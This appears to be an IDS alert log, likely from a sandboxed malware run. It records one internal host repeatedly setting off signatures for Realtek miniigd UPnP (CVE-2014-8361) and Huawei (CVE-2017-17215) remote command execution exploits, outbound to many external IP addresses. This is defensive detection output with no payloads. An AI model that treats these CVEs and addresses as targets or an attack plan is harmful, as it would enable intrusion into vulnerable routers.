07/20/24-23:05:51.418855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42828	52869	192.168.2.13	100.11.251.147
07/20/24-23:05:56.938108	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60096	52869	192.168.2.13	79.90.210.218
07/20/24-23:05:51.418855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42828	52869	192.168.2.13	100.11.251.147
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50448	37215	192.168.2.13	41.60.209.210
07/20/24-23:05:46.981572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52036	37215	192.168.2.13	157.116.62.195
07/20/24-23:05:54.790047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50434	52869	192.168.2.13	31.167.100.157
07/20/24-23:05:52.214852	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50284	37215	192.168.2.13	197.18.60.239
07/20/24-23:05:56.923505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36194	52869	192.168.2.13	222.135.120.100
07/20/24-23:05:51.431946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39790	52869	192.168.2.13	57.150.87.191
07/20/24-23:05:46.982251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35096	37215	192.168.2.13	157.149.252.54
07/20/24-23:05:51.421493	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58402	52869	192.168.2.13	98.62.191.234
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37188	37215	192.168.2.13	41.84.213.46
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48834	37215	192.168.2.13	41.116.32.17
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36170	37215	192.168.2.13	41.192.42.134
07/20/24-23:05:54.857408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44426	52869	192.168.2.13	201.149.192.125
07/20/24-23:05:54.866274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58032	52869	192.168.2.13	173.121.154.127
07/20/24-23:05:46.982798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53706	37215	192.168.2.13	201.205.132.204
07/20/24-23:05:47.538262	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60614	37215	192.168.2.13	197.74.70.31
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53562	37215	192.168.2.13	41.193.109.166
07/20/24-23:05:51.423445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42810	52869	192.168.2.13	201.57.227.248
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35644	37215	192.168.2.13	157.117.152.206
07/20/24-23:05:52.334778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46576	52869	192.168.2.13	42.140.137.117
07/20/24-23:05:47.478977	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33656	52869	192.168.2.13	78.110.167.93
07/20/24-23:05:54.762221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34280	52869	192.168.2.13	118.98.149.170
07/20/24-23:05:56.938108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60096	52869	192.168.2.13	79.90.210.218
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58996	37215	192.168.2.13	197.153.119.252
07/20/24-23:05:51.461470	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51670	52869	192.168.2.13	136.117.93.58
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47892	37215	192.168.2.13	124.96.161.46
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51622	37215	192.168.2.13	197.194.249.74
07/20/24-23:05:51.418660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60844	52869	192.168.2.13	221.37.81.113
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32958	37215	192.168.2.13	41.131.211.75
07/20/24-23:05:47.533432	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54840	37215	192.168.2.13	157.136.223.71
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35434	37215	192.168.2.13	46.90.90.254
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45318	37215	192.168.2.13	108.182.178.131
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59214	37215	192.168.2.13	186.151.11.189
07/20/24-23:05:47.457803	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39096	52869	192.168.2.13	57.150.87.191
07/20/24-23:05:54.857408	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44426	52869	192.168.2.13	201.149.192.125
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37862	37215	192.168.2.13	197.201.153.177
07/20/24-23:05:51.534354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36792	52869	192.168.2.13	44.187.248.15
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52036	37215	192.168.2.13	41.37.185.160
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47522	37215	192.168.2.13	41.128.226.57
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57062	37215	192.168.2.13	39.102.197.30
07/20/24-23:05:52.214853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38654	37215	192.168.2.13	157.118.39.51
07/20/24-23:05:46.907724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50756	37215	192.168.2.13	115.124.30.25
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45292	37215	192.168.2.13	41.35.231.73
07/20/24-23:05:47.533810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58838	37215	192.168.2.13	157.215.207.96
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39734	37215	192.168.2.13	157.252.225.199
07/20/24-23:05:51.421493	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43208	52869	192.168.2.13	195.235.63.144
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42104	37215	192.168.2.13	41.15.253.221
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56398	37215	192.168.2.13	41.219.200.135
07/20/24-23:05:51.534354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36792	52869	192.168.2.13	44.187.248.15
07/20/24-23:05:56.967216	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41190	52869	192.168.2.13	70.169.229.113
07/20/24-23:05:51.423446	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38286	52869	192.168.2.13	149.223.236.152
07/20/24-23:05:51.421493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58402	52869	192.168.2.13	98.62.191.234
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37204	37215	192.168.2.13	41.23.223.104
07/20/24-23:05:47.561552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45436	52869	192.168.2.13	177.34.128.116
07/20/24-23:05:46.830108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37538	52869	192.168.2.13	2.151.18.206
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43060	37215	192.168.2.13	157.243.231.210
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56776	37215	192.168.2.13	197.195.218.157
07/20/24-23:05:56.923505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36194	52869	192.168.2.13	222.135.120.100
07/20/24-23:05:46.978421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48812	37215	192.168.2.13	197.68.9.108
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42604	37215	192.168.2.13	197.185.139.197
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56156	37215	192.168.2.13	197.99.191.32
07/20/24-23:05:46.907723	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54436	37215	192.168.2.13	197.64.154.239
07/20/24-23:05:46.042101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32862	52869	192.168.2.13	54.54.215.85
07/20/24-23:05:51.421136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40132	52869	192.168.2.13	221.3.242.5
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52090	37215	192.168.2.13	97.109.184.0
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60188	37215	192.168.2.13	41.199.184.127
07/20/24-23:05:52.334778	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46576	52869	192.168.2.13	42.140.137.117
07/20/24-23:05:51.418660	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60844	52869	192.168.2.13	221.37.81.113
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33406	37215	192.168.2.13	187.208.99.105
07/20/24-23:05:52.198545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40232	37215	192.168.2.13	41.123.171.135
07/20/24-23:05:47.457803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39096	52869	192.168.2.13	57.150.87.191
07/20/24-23:05:51.421493	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60882	52869	192.168.2.13	92.253.193.163
07/20/24-23:05:52.265126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59174	37215	192.168.2.13	197.59.238.179
07/20/24-23:05:46.966276	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49420	37215	192.168.2.13	41.166.4.73
07/20/24-23:05:47.425240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34076	52869	192.168.2.13	62.80.115.9
07/20/24-23:05:46.811985	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39486	52869	192.168.2.13	220.159.9.134
07/20/24-23:05:46.982251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48328	37215	192.168.2.13	41.103.203.136
07/20/24-23:05:47.534459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51370	37215	192.168.2.13	197.17.61.246
07/20/24-23:05:46.520261	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36334	52869	192.168.2.13	142.17.9.107
07/20/24-23:05:46.798680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44984	52869	192.168.2.13	74.72.233.88
07/20/24-23:05:46.981572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54998	37215	192.168.2.13	197.244.78.99
07/20/24-23:05:56.971517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38802	52869	192.168.2.13	130.42.76.120
07/20/24-23:05:46.978421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53428	37215	192.168.2.13	41.198.164.117
07/20/24-23:05:52.261192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47048	37215	192.168.2.13	197.83.252.72
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53674	37215	192.168.2.13	41.166.221.172
07/20/24-23:05:46.332473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43168	52869	192.168.2.13	36.180.172.129
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33106	37215	192.168.2.13	89.97.7.223
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44488	37215	192.168.2.13	41.132.76.6
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46890	37215	192.168.2.13	41.195.213.199
07/20/24-23:05:54.693958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47216	52869	192.168.2.13	103.184.127.83
07/20/24-23:05:46.973669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55240	37215	192.168.2.13	41.166.208.82
07/20/24-23:05:47.561552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45436	52869	192.168.2.13	177.34.128.116
07/20/24-23:05:52.311536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56504	37215	192.168.2.13	197.174.220.162
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52574	37215	192.168.2.13	157.168.102.178
07/20/24-23:05:51.418855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39650	52869	192.168.2.13	89.229.96.227
07/20/24-23:05:47.468642	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58708	52869	192.168.2.13	46.81.190.204
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46732	37215	192.168.2.13	83.121.211.25
07/20/24-23:05:51.498918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35550	52869	192.168.2.13	138.132.215.240
07/20/24-23:05:47.333295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49020	52869	192.168.2.13	134.55.152.47
07/20/24-23:05:46.982907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33002	37215	192.168.2.13	92.36.25.236
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35970	37215	192.168.2.13	41.245.73.17
07/20/24-23:05:47.344104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50220	52869	192.168.2.13	198.139.127.65
07/20/24-23:05:46.811985	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39486	52869	192.168.2.13	220.159.9.134
07/20/24-23:05:47.505471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43492	52869	192.168.2.13	54.82.97.176
07/20/24-23:05:46.887652	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51640	52869	192.168.2.13	72.17.189.116
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48374	37215	192.168.2.13	197.207.111.205
07/20/24-23:05:47.460092	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38986	52869	192.168.2.13	185.61.229.112
07/20/24-23:05:47.534459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33028	37215	192.168.2.13	41.22.217.152
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57550	37215	192.168.2.13	88.11.232.255
07/20/24-23:05:47.352554	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55982	52869	192.168.2.13	137.36.77.53
07/20/24-23:05:51.423446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38286	52869	192.168.2.13	149.223.236.152
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53234	37215	192.168.2.13	197.120.22.24
07/20/24-23:05:56.994750	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33972	52869	192.168.2.13	13.167.144.230
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42364	37215	192.168.2.13	157.111.143.113
07/20/24-23:05:56.994750	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33972	52869	192.168.2.13	13.167.144.230
07/20/24-23:05:46.991466	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32794	37215	192.168.2.13	151.128.221.242
07/20/24-23:05:46.332473	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43168	52869	192.168.2.13	36.180.172.129
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42098	37215	192.168.2.13	157.32.42.40
07/20/24-23:05:51.418855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39650	52869	192.168.2.13	89.229.96.227
07/20/24-23:05:52.311537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46240	37215	192.168.2.13	157.197.131.13
07/20/24-23:05:47.468642	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58708	52869	192.168.2.13	46.81.190.204
07/20/24-23:05:51.419676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60322	52869	192.168.2.13	44.60.208.210
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49112	37215	192.168.2.13	53.15.204.183
07/20/24-23:05:51.420131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53410	52869	192.168.2.13	69.105.43.224
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47838	37215	192.168.2.13	157.116.8.6
07/20/24-23:05:46.929085	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59746	37215	192.168.2.13	197.79.38.107
07/20/24-23:05:51.418388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60490	52869	192.168.2.13	66.56.180.47
07/20/24-23:05:47.439397	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58896	52869	192.168.2.13	107.96.10.112
07/20/24-23:05:47.333295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49020	52869	192.168.2.13	134.55.152.47
07/20/24-23:05:47.352554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55982	52869	192.168.2.13	137.36.77.53
07/20/24-23:05:47.535868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58852	37215	192.168.2.13	60.102.77.146
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41578	37215	192.168.2.13	166.105.157.19
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33734	37215	192.168.2.13	121.224.21.158
07/20/24-23:05:46.982455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41472	37215	192.168.2.13	163.241.212.180
07/20/24-23:05:51.426840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49144	52869	192.168.2.13	205.216.169.243
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49848	37215	192.168.2.13	197.18.238.74
07/20/24-23:05:51.421136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40132	52869	192.168.2.13	221.3.242.5
07/20/24-23:05:54.693958	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47216	52869	192.168.2.13	103.184.127.83
07/20/24-23:05:51.418537	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50660	52869	192.168.2.13	155.180.4.142
07/20/24-23:05:47.535438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36192	37215	192.168.2.13	157.76.157.23
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44686	37215	192.168.2.13	197.169.205.203
07/20/24-23:05:47.485791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59960	52869	192.168.2.13	66.105.78.156
07/20/24-23:05:47.460092	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38986	52869	192.168.2.13	185.61.229.112
07/20/24-23:05:51.419676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60322	52869	192.168.2.13	44.60.208.210
07/20/24-23:05:51.487087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45636	52869	192.168.2.13	130.201.224.129
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39392	37215	192.168.2.13	157.77.35.15
07/20/24-23:05:46.887652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51640	52869	192.168.2.13	72.17.189.116
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40840	37215	192.168.2.13	41.176.89.70
07/20/24-23:05:47.543163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39376	37215	192.168.2.13	197.93.134.229
07/20/24-23:05:47.533361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43072	37215	192.168.2.13	197.249.186.160
07/20/24-23:05:46.922964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60092	37215	192.168.2.13	197.164.234.103
07/20/24-23:05:51.431946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39790	52869	192.168.2.13	57.150.87.191
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34304	37215	192.168.2.13	41.151.6.113
07/20/24-23:05:46.395067	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41922	52869	192.168.2.13	8.26.166.115
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50558	37215	192.168.2.13	41.251.158.242
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43256	37215	192.168.2.13	41.210.143.52
07/20/24-23:05:46.736426	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48900	52869	192.168.2.13	204.151.222.243
07/20/24-23:05:46.762666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39478	52869	192.168.2.13	84.205.84.200
07/20/24-23:05:47.439397	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58896	52869	192.168.2.13	107.96.10.112
07/20/24-23:05:51.419963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56680	52869	192.168.2.13	137.36.77.53
07/20/24-23:05:46.966276	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35614	37215	192.168.2.13	197.228.9.181
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40168	37215	192.168.2.13	157.31.112.192
07/20/24-23:05:56.920979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42410	52869	192.168.2.13	112.252.168.133
07/20/24-23:05:46.746802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59186	52869	192.168.2.13	80.48.49.198
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47908	37215	192.168.2.13	41.227.128.193
07/20/24-23:05:51.419676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55300	52869	192.168.2.13	49.95.69.134
07/20/24-23:05:47.535868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55710	37215	192.168.2.13	150.159.12.246
07/20/24-23:05:47.535438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57804	37215	192.168.2.13	197.42.25.100
07/20/24-23:05:51.421493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43208	52869	192.168.2.13	195.235.63.144
